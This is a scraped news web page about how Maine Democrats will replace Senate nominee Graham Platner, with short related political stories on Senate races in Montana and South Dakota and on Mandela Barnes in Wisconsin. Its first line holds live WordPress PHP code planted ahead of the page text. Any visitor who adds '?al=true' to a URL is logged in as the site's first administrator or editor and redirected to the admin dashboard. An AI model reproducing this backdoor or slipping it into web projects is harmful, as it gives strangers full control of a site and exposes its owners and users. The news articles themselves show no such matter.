// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); What we know – and don’t – about how Maine Democrats will replace Graham Platner – Blue Light News
Connect with us

Politics

What we know – and don’t – about how Maine Democrats will replace Graham Platner

Published

3 weeks ago

on

The selection of Maine’s next Democratic Senate nominee will come down to roughly 600 people — 500 of whom haven’t been chosen yet.

Graham Platner suspended his campaign on Wednesday following Blue Light News’s reporting on an allegation that he sexually assaulted a woman in 2021, which he denies. That clears the way for the Maine Democratic Party to begin the process of replacing him. Platner continued to deny the allegations on Wednesday, but said he’s leaving the race because he lost the resources needed to continue running.

Many Democrats have been preparing for Platner to exit the race, but a wide-open and unpredictable nomination process with a fast-approaching deadline means many of the details of how Platner’s replacement will be chosen remain unclear.

It comes at a crucial time for the party, which has one of its best chances to defeat GOP Sen. Susan Collins, who is the only Senate Republican running for reelection in a state won by Vice President Kamala Harris in 2024.

How does the process to replace a nominee work in Maine?

The party is in charge of nominating someone. As long as Platner officially files paperwork with the secretary of state’s office withdrawing his name from the ballot before Monday at 5 p.m. Eastern Time, the Maine Democratic Party has until July 27th — 19 days from now — to nominate his replacement.

Who are the candidates running to replace Platner?

Shortly after Platner suspended his campaign, former gubernatorial candidate Troy Jackson, who was endorsed in that race by Sen. Bernie Sanders, announced he will seek the party’s nomination. Dan Kleban, a brewery owner in Maine, also said he’ll seek the nomination on Wednesday. Former congressional candidates Jordan Wood and Paige Loud have also said they plan to run.

Former public health official Nirav Shah and Secretary of State Shenna Bellows, who both ran for governor earlier this year, said in the lead-up to Platner dropping out that they were considering running to replace him.

Does the state party have a plan in place?

Shortly before Platner exited the race, Maine Democrats approved a tentative plan to hold a nominating convention before the July 27th deadline that would include roughly 600 delegates made up primarily of local party officials from around the state.

Maine Democratic Party executive director Devon Murphy-Anderson indicated in an MS NOW interview Wednesday evening that candidates may be required to collect signatures from Maine voters to be eligible for the nominating convention.

When and where will the nominating convention be?

We don’t know. The Maine Democratic Party has not announced any timing details about the convention.

How will delegates be chosen?

Each county party committee is expected to caucus prior to the state nominating convention to elect 500 convention delegates, with the remaining 100 delegates being state committee members, according to two people familiar with specific plans and granted anonymity to share them.

The state Democratic Party hasn’t provided exact details, and said in a statement on Wednesday that information would be coming soon. County chairs were scheduled to meet Thursday, and it remains unclear whether delegates will be selected by county committees themselves or through public caucuses held by those county committees.

How will delegates select their candidate?

We don’t know. The Maine Democratic Party hasn’t shared specific details on how the convention procedure will operate. The state party has some rules and procedures for state conventions available on its website, but a delegate convention to replace a nominee for U.S. Senate is uncharted waters, and the party’s rules don’t explicitly stipulate how to handle this situation. While the party has had to replace candidates for smaller races, Platner’s exit from a statewide race is unprecedented.

Will there be a debate?

We don’t know. Once candidates declare whether or not they’re running, a media network may schedule a formal debate. Or the nominating convention could provide a forum for candidates to address delegates directly. In any case, the clock is ticking to organize a televised debate in the next couple of weeks before the convention. Shah, one of the likely candidates, has already called for a televised debate.

How does Platner want the process to replace him to look?

Before Platner dropped out, his allies worked behind the scenes to try and leverage his hold on the nomination to influence the nomination process, drawing a strong rebuke from Murphy-Anderson.

Platner’s campaign manager sent a message to volunteers Wednesday morning criticizing the state party and the Democratic Senatorial Campaign Committee for “planning a potential nominating process behind closed doors,” drawing another sharp response from Murphy-Anderson as well as the DSCC.

“While we may be frustrated with Graham Platner’s continued efforts to manipulate this process, we are so thankful for his supporters and all of their efforts to defeat Susan Collins — they are a vital part of our Party and deserve to participate in an open process to select Platner’s replacement,” she said.

Platner appeared to acknowledge the accusations that he was meddling in the process in his video announcing the end of his campaign, when he urged Maine Democrats to prioritize the will of the voters in choosing his replacement.

“I’m not trying to dictate to anyone who it should be or how we get there, but I will say this: It needs to be open, transparent, and democratic,” Platner said in the video. “People in DC need to stay in DC. Decisions should not be made in back rooms by people in places of political power. Party apparatchiks are not the ones to make these decisions. These decisions need to be made in the open by the people of this state, the people who got us here.”

It is unclear whether he will attempt to influence the process publicly or behind the scenes once he exits the race.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Politics

It might take ‘a lightning bolt from God’ to get these Senate Democratic hopefuls to bow for independents

Published

14 hours ago

on

August 1, 2026

By

Democrats vying for a pair of deep-red Senate seats are facing increasingly desperate calls from within their party to step aside for more promising independent candidates.

But they say they won’t drop out — unless there’s divine intervention.

Democrats Alani Bankhead of Montana and Julian Beaudion of South Dakota both told Blue Light News they have no plans to exit the race, despite pressure from national — and even some state — Democrats to step aside. Numerouspolls, coupled with strongerfundraising and campaign operations, show independents Seth Bodnar and Brian Bengs have a stronger — if still muddied — path to victory in November.

If the Democrats stay on the ballot, it will be almost impossible to claw these seats away from Republicans in Mountain West states that President Donald Trump dominated in 2024.

“I’m a person of faith. If a lightning bolt from God struck me and was like, ‘Alani, get out of the race,’ sure,” Bankhead told Blue Light News when asked if anything would change her mind. Otherwise, she said there’s “absolutely nothing.”

Beaudion has a similar resolve: “To be clear, we are not considering dropping out of the race,” he told Blue Light News.

By digging in, the Democrats could imperil their party’s hopes of regaining Senate control in an already uphill cycle. There’s broad agreement across the many factions of the Democratic Party that a crowded race relinquishes any hope of victory. Bengs has argued that Beaudion remaining on the ballot jeopardizes his chance of winning this fall against GOP Sen. Mike Rounds. Bodnar has maintained he has a viable path either way, and he could be helped out if the Libertarian candidate in the race pulls votes from Republican Kurt Alme.

The deadline to withdraw in South Dakota is Tuesday, and Montana’s is shortly after, on Aug. 10. Democrats across the ideological spectrum in Washington and their home states are calling on Bankhead and Beaudion to step down to help their party bank-shot a Senate majority, with the idea that a victorious independent candidate could caucus with a future Democratic majority — or at least not party up with Republicans.

“The math is inescapable. If it’s impossible for a Democrat to win, it is vital that the Democrats step aside and give the independent at least a shot of beating the Republican,” said Matt Bennett, a co-founder of the centrist Democratic think tank Third Way. “Beating the MAGA Republicans is priorities one, two and three. Who we beat them with is pretty far down the list.”

Democrats have already had some luck setting up one-on-one independent vs. Republican matchups in other Trump-won states. The Democratic candidate in Nebraska withdrew to pave the way for independent Dan Osborn — though an ongoing court case from a Democratic anti-abortion pastor could complicate things. And Idaho’s Democratic nominee recently dropped out in favor of independent Todd Achilles.

“Knowing that your campaign is not gonna break through, and just being able to recognize that is probably the hardest thing of all,” Achilles said of Democrat David Roth’s decision to step down. “I do appreciate what David did in Idaho.”

Bankhead and Beaudion insist they can win, even despite the headwinds. Bankhead expects to ride the anti-incumbency and pro-outsider wave into office, and Beaudion credits his relationships with voters throughout the state.

“Nobody ever knows what’s actually going to happen in an election,” Bankhead said. “The people decide on November 3.”

But Idaho and Nebraska Democrats reached a conclusion that Bankhead and Beaudion did not: The party’s brand is so tarnished in their states that the “D” label on the ballot line provides no viable path to victory.

“I am a professional partisan Democrat, and I have every incentive to be on the Democrat’s side here,” said Pat Dennis, president of American Bridge 21st Century, an opposition-research firm. “But ultimately, the priority is to take the Senate majority away from Republicans. In some states, that path is very difficult to impossible for a Democrat. In those cases, it is both strategically and morally correct to take the path that is most likely to achieve the goal we’re going for.”

Faiz Shakir, a longtime adviser to Sen. Bernie Sanders (I-Vt.), did not go as far as to call for Bankhead and Beaudion to step aside. But he agreed that there’s real opportunity for independents who aren’t stuck with the Democratic brand’s baggage.

“Being someone who’s not associated with the two-party system right now helps you greatly in many parts of this country, particularly those that have much more rural and conservative tendencies,” said Shakir. “There’s frustration and anger with Trump, and there’s not as much of a love and appreciation for the Democratic Party.”

Shakir also said that competitive races in these red areas — even if the independents can’t pull off a win — could force Republicans to pull much-needed resources out of battleground races in order to defend their turf.

But he also offered a warning to his party: Talking too much about the independents’ strong fundraising and establishment backing risks tying them to the “donor class” and turning them “into a worse version of what people assumed of a Democrat.”

“You gotta give them the space to be both independent in mind and in spirit,” he said. “The argument for them is truly that they are building a movement in the state that people are hungry for, and that in the support of those people, they’re finding resonance. And that would be the argument for a Democrat to step aside.”

Republicans, meanwhile, are working to paint the independents and Democrats as one and the same. They’re also trying to elevate the Democrats in an attempt to stop the independents from gaining more traction: Trump on social media attacked Bankhead in July, ignoring Bodnar entirely.

“Democrat-backed independents all support the same socialist policies and middle-class tax hikes that made Democrats toxic across the country,” Joanna Rodriguez, the communications director for the National Republican Senatorial Committee, said in a statement. “Republicans will defeat them in November.”

The inside calls for Beaudion and Bankhead to step aside aren’t just coming from Washington. Many local Democrats in Montana and South Dakota have said publicly they should not continue their campaigns. Nancy Keenan, the former executive director of the Montana Democratic Party who has endorsed Bodnar, wrote in a June op-ed that “there is not a viable path for a Democratic victory in this race.”

Bennett, the Third Way co-founder, went further, saying if Democrats fail to flip the Senate in November, the blame would lie at the hands of Bankhead and Beaudion.

“If we fumble away a majority because these no hope candidates are too vain to get out of the race, that’ll be a political calamity,” he said. “These people need to understand that they will become pariahs.”

Bankhead doesn’t see it that way.

“I’m not swayed by it because I’m not here for power and money,” she said. “It’s still the old, rich D.C. powerful political circles that are trying to keep more progressive candidates out of the fight so they can maintain the status quo.”

Continue Reading

Politics

FCC chair Brendan Carr on Trump, free speech and his threats against broadcasters

Published

2 days ago

on

July 31, 2026

By

FCC chair Brendan Carr on Trump, free speech and his threats against broadcasters

lead image

Continue Reading

Politics

Mandela Barnes considering dropping out of Wisconsin governor race

Published

2 days ago

on

July 30, 2026

By

Former Lt. Gov. Mandela Barnes and his team are discussing dropping out of the crowded Democratic primary for Wisconsin governor, according to two people with direct knowledge of the matter.

The conversations come as Democratic officials in the state brace for damaging media reports about Barnes expected to hit in the coming hours. Barnes and his team have been on calls Thursday to discuss how to proceed, according to the people, granted anonymity to share private details.

The primary had become increasingly messy as more moderate leaning Democrats like Barnes have tried to stave off Democratic socialist Francesca Hong’s rise, worried her victory could boost presumed Republican nominee Tom Tiffany. Wisconsin Gov. Tony Evers’ endorsement of David Crowley — who reentered the race in the final stretch — further complicated the moderate coalition.

A spokesperson for Barnes’ campaign did not immediately respond to a request for comment.

Continue Reading

Trending